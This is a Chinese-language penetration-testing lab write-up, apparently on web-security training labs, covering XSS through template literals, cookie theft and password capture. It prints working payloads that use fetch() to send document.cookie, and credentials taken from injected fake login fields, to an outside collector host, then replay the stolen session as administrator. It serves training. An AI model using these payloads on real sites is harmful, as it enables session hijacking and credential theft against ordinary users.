渗透实战:利用XSS获取cookie和密码
操作均来自靶场,切勿用于未授权渗透测试!
Lab 21:将反射型 XSS 注入带有尖括号、单引号、双引号、反斜杠和反引号的 Unicode 转义模板文字中
输入的任何单引号双引号尖括号都会被 unicode 编码
直接换另一种代码执行方式${alert(1)}
,被``
反引号包围的${}
里面可以执行 js 代码
Lab 22:利用跨站脚本窃取 Cookie
使用 burp 的 collaborator
将复制的域名放到 fetch 中,body 为 document.cookie,就是访问这个留言板的用户的 cookie
<script>
fetch('https://jk7skp6xu4wnrqt903qk48whh8nzbrzg.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
之后点击轮询可以看到目标向的域名发送的请求,找到一个请求中带有 secret 和 session 字样的就是 cookie 信息
访问 my-account 转包,将 cookie 替换重放即可登录管理员账户
Lab 23:利用跨站点脚本获取密码
这里试试能不能执行<script>
留言板位置找到注入 xss 的位置后,构造获取对方密码的请求
<input name=username id=username>
<input name=password id=password type=password onchange="if(this.value.length)fetch('https://sd97jw4bod7qt2pr4x5yersp3g97x0lp.oastify.com', {method: 'POST',mode: 'no-cors',body: username.value+':'+this.value});"><!-- 表单中定义两个输入框,一个用户名,一个密码的,在密码输入框中定义onchange事件,当密码输入框的值发生变化,且失去焦点时触发,就是判断用户输入完成离开输入框了。
if(this.value.length):检查输入框的值长度是否非空(即用户至少输入了一个字符)。若为真,则执行 fetch 请求。-->
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d